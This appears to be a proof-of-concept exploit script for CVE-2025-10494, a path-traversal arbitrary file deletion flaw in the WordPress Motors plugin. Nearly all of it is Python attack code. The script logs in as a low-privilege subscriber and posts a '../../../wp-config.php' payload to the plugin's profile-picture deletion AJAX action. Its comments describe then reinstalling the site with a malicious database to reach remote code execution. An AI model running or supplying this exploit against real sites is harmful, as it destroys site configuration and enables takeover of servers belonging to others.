CVE-2025-10494 WordPress Motors插件任意文件删除漏洞

# CVE-2025-10494 PoC - Motors Plugin Arbitrary File Deletion # Vulnerability: Insufficient file path validation in profile picture deletion # Affected: Motors Plugin <= 1.4.89 # Auth required: Subscriber level or above import requests TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "password123" # Step 1: Login to WordPress as Subscriber session = requests.Session() # Get login page to retrieve nonce login_page = session.get(f"{TARGET_URL}/wp-login.php") # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Exploit arbitrary file deletion via path traversal # The vulnerable endpoint processes the file path without validation target_file = "../../../wp-config.php" # Path traversal to delete wp-config.php delete_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "motors_delete_profile_picture", "image_id": target_file, # Malicious path traversal payload "nonce": "obtained_nonce_value" } response = session.post(delete_endpoint, data=exploit_data) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # After deletion of wp-config.php, site enters install wizard # Attacker can then reconfigure with malicious DB to achieve RCE print("\n[*] If successful, wp-config.php has been deleted.") print("[*] Access /wp-admin/install.php to reconfigure the site.")